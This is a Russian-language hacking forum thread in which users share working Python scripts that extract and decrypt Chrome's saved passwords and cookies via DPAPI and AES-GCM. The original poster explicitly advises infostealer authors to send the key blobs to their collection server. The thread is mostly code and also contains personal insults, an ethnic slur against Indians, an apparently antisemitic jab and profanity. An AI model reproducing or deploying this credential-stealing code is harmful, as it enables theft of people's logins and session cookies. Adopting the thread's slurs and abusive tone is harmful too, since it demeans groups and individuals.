Chrome 80+ расшифровка паролей и кукисов

Discussion in 'Python' started by sn0w, 23 Sep 2020.

  1. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,020
    Likes Received:
    1,161
    Reputations:
    327
    начиная с 80й версии, немного поменяли подход, теперь еще и AES GCM добавилось:

    Code:
    import os
    import sqlite3
    import win32crypt
    import sys
    import json
    import base64
    from cryptography.hazmat.primitives.ciphers.aead import AESGCM
    from shutil import copyfile
    
    
    # Set appropriate paths here
    path_ls = r'C:\Users\sn0w\AppData\Local\Google\Chrome\User Data\Local State'
    path_db = r'C:\Users\sn0w\AppData\Local\Google\Chrome\User Data\Default\Login Data'
    path_cook = r'C:\Users\sn0w\AppData\Local\Google\Chrome\User Data\Default\Cookies'
    
    
    
    def acquire_encryption_key():
        b64dpapi = None
        try:
            with open(path_ls) as json_file:
                data = json.load(json_file)
                b64dpapi = data["os_crypt"]["encrypted_key"]
    
        except KeyError:
            print('No encryption key found!')
    
        if b64dpapi is not None:
            pre_key = base64.b64decode(b64dpapi)
            aead_encryption_key = win32crypt.CryptUnprotectData(pre_key[5:], None, None, None, 0)[1]
            return aead_encryption_key
    
        return None
    
    
    
    # Chrome prevents access while running, just copy them
    copyfile(path_ls, path_ls + '.bak')
    path_ls += '.bak'
    copyfile(path_db, path_db + '.bak')
    path_db += '.bak'
    copyfile(path_cook, path_cook + '.bak')
    path_cook += '.bak'
    
    
    # Connect to the Database
    try:
        print('[+] Opening ' + path_db + '...\n')
        conn = sqlite3.connect(path_db)
        cursor = conn.cursor()
    except Exception as e:
        print('[-] %s' % (e))
        sys.exit(1)
    
    # Get the results
    try:
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
    except Exception as e:
        print('[-] %s' % (e))
        sys.exit(1)
    
    data = cursor.fetchall()
    key = acquire_encryption_key()
    aesgcm = AESGCM(key)
    
    print("[+] AES256 GCM key dumped: " + "".join('%02X' % c for c in key) + "\n")
    
    for i in range(len(data)):
    
        pwdcipher = data[i][2][15:]
        nonce = data[i][2][3:15]
    
        print(str(i)+ ') ' + 'DB URL Entry: ' + data[i][0] + '\n' + ' -Login: ' + data[i][1])
        print(" -Raw db pwd data: " + "".join('%02X' % c for c in data[i][2]))
        print(" -nonce: " + "".join('%02X' % c for c in nonce))
        print(" -password cipher: " + "".join('%02X' % c for c in pwdcipher))
    
        cleartext = aesgcm.decrypt(nonce, pwdcipher, None)
        print(" -decrypted password: " + cleartext.decode() + '\n');
    
    
    
    print('\n\n[+] Dumping cookies...')
    
    # Connect to the Database
    try:
        print('[+] Opening ' + path_cook + '...\n')
        conn = sqlite3.connect(path_cook)
        cursor = conn.cursor()
    except Exception as e:
        print('[-] %s' % (e))
        sys.exit(1)
    
    # Get the results
    try:
        cursor.execute('SELECT host_key, name, encrypted_value FROM cookies')
    except Exception as e:
        print('[-] %s' % (e))
        sys.exit(1)
    
    data = cursor.fetchall()
    
    for i in range(len(data)):
    
        cookcipher = data[i][2][15:]
        nonce = data[i][2][3:15]
    
        print('%s - %s: ' % (data[i][0], data[i][1]), end='  ')
       
        cleartext = aesgcm.decrypt(nonce, cookcipher, None)
        print(cleartext.decode());
       
    
    для стилеропейсателей советую дампить и отсылать блобы с ключами, а на гейте уже расшифровывать, ибо тут нужно и скллайт и басе64 и опенссл либы, но если 2 первые - это лайтовый код на несколько кбайт, то декрипт аес gcm (а хер знает, из ссл его лень было вытравлить - это ненужная длл на 2+ мб)
     
    alexzir, Spinus, Svan and 2 others like this.
  2. altblitz

    altblitz Elder - Старейшина

    Joined:
    5 Jun 2009
    Messages:
    3,658
    Likes Received:
    3,033
    Reputations:
    231
    chrome - гавно-браузер писсанный этими вашими poo-in-loo индусскими засранцами, не знающих элементарных правил общественной гигиены и санитарии, срущих на улицах,
    для тупо-рылых сосок на посниматься в TikTok.

    И пассворды - qwerty / qazwsx / 123456 / tyuiop ))
     
  3. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,020
    Likes Received:
    1,161
    Reputations:
    327
    @user100 выпили уже этому финкельштейновскому дауну доступ в разделы где требуется наличие работающих мозгов, плиз))
     
    #colorblind, Spinus and user100 like this.
  4. user100

    user100 Moderator

    Joined:
    24 Dec 2011
    Messages:
    3,883
    Likes Received:
    13,959
    Reputations:
    352
    Такое только Егрыч++++ могёт)
     
    _________________________
    Spinus likes this.
  5. Svan

    Svan Member

    Joined:
    24 Sep 2020
    Messages:
    17
    Likes Received:
    47
    Reputations:
    0
    Вообщем механизм есть, но не все так просто.
     
    quite gray likes this.
  6. Spinus

    Spinus Level 8

    Joined:
    23 Sep 2018
    Messages:
    369
    Likes Received:
    2,219
    Reputations:
    3
    Ну видимо не могёт ни Егорыч , ни Сюи, раз этот говнюк все топики засрал.
     
    sn0w and seostock like this.
  7. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,020
    Likes Received:
    1,161
    Reputations:
    327
    всё именно так просто, другое дело - права на чтение
     
  8. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,020
    Likes Received:
    1,161
    Reputations:
    327
    да, когда хром запущен на винде, - то решается тема доступа просто копированием файлов
     
    Svan likes this.
  9. Pirnazar

    Pirnazar Active Member

    Joined:
    28 Apr 2018
    Messages:
    183
    Likes Received:
    142
    Reputations:
    5
    Code:
    import os
    import json
    import base64
    import sqlite3
    import win32crypt
    from Crypto.Cipher import AES
    import shutil
    
    
    def get_master_key():
        with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
            local_state = f.read()
            local_state = json.loads(local_state)
        master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
        master_key = master_key[5:]
        master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
        return master_key
    
    
    def decrypt_payload(cipher, payload):
        return cipher.decrypt(payload)
    
    
    def generate_cipher(aes_key, iv):
        return AES.new(aes_key, AES.MODE_GCM, iv)
    
    
    def decrypt_password(buff, master_key):
        try:
            iv = buff[3:15]
            payload = buff[15:]
            cipher = generate_cipher(master_key, iv)
            decrypted_pass = decrypt_payload(cipher, payload)
            decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
            return decrypted_pass
        except Exception as e:
            # print("Probably saved password from Chrome version older than v80\n")
            # print(str(e))
            return "Chrome < 80"
    
    
    
    if __name__ == '__main__':
    
        master_key = get_master_key()
        login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
        shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running
        conn = sqlite3.connect("Loginvault.db")
        cursor = conn.cursor()
    
        try:
            cursor.execute("SELECT action_url, username_value, password_value FROM logins")
            for r in cursor.fetchall():
                url = r[0]
                username = r[1]
                encrypted_password = r[2]
                decrypted_password = decrypt_password(encrypted_password, master_key)
                with open('chrome.txt', 'a') as f:
                    f.write("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
        except Exception as e:
            pass
    
        cursor.close()
        conn.close()
        try:
            os.remove("Loginvault.db")
        except Exception as e:
            pass
    Вырил просторах интернета
    Вроде работает :)
     
    alexzir and Svan like this.
  10. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,020
    Likes Received:
    1,161
    Reputations:
    327
    воу, код почти мой, но другими словами. оригинал на экспе ес чо) я там и на си++ запилил ;)
     
    Pirnazar and Spinus like this.
  11. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,020
    Likes Received:
    1,161
    Reputations:
    327
    блин, я тут подумал - Егору ж уже под 50?!
     
  12. altblitz

    altblitz Elder - Старейшина

    Joined:
    5 Jun 2009
    Messages:
    3,658
    Likes Received:
    3,033
    Reputations:
    231
    Егорыч++++ никогда не будет 50, а лишь четыре раза - снова по 15!
     
  13. altblitz

    altblitz Elder - Старейшина

    Joined:
    5 Jun 2009
    Messages:
    3,658
    Likes Received:
    3,033
    Reputations:
    231
    Имбецил недоразвитый, сохраняй свои пассы и куки в .zip
    и раскрывай их, без требований к правам user, при переустановки Chromium или Windows.

    Все умные мальчики научились этому, легко и быстро, в отличии от твоя, тугодума пративного ))

    [​IMG]
     
  14. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,020
    Likes Received:
    1,161
    Reputations:
    327
    бля, какой же ты всётаки даун, пиздец
     
    Spinus likes this.
  15. Spinus

    Spinus Level 8

    Joined:
    23 Sep 2018
    Messages:
    369
    Likes Received:
    2,219
    Reputations:
    3
    У Блица только очко работает. Фотка тому подтверждение.
     
    Svan and seostock like this.
  16. alexzir

    alexzir Well-Known Member

    Joined:
    29 Oct 2019
    Messages:
    171
    Likes Received:
    579
    Reputations:
    5
    Указывать абсолютный путь к рабочему каталогу гуглохрома - это не есть путь настоящего белого хомячка-переростка, а так код годный, плюсую в репу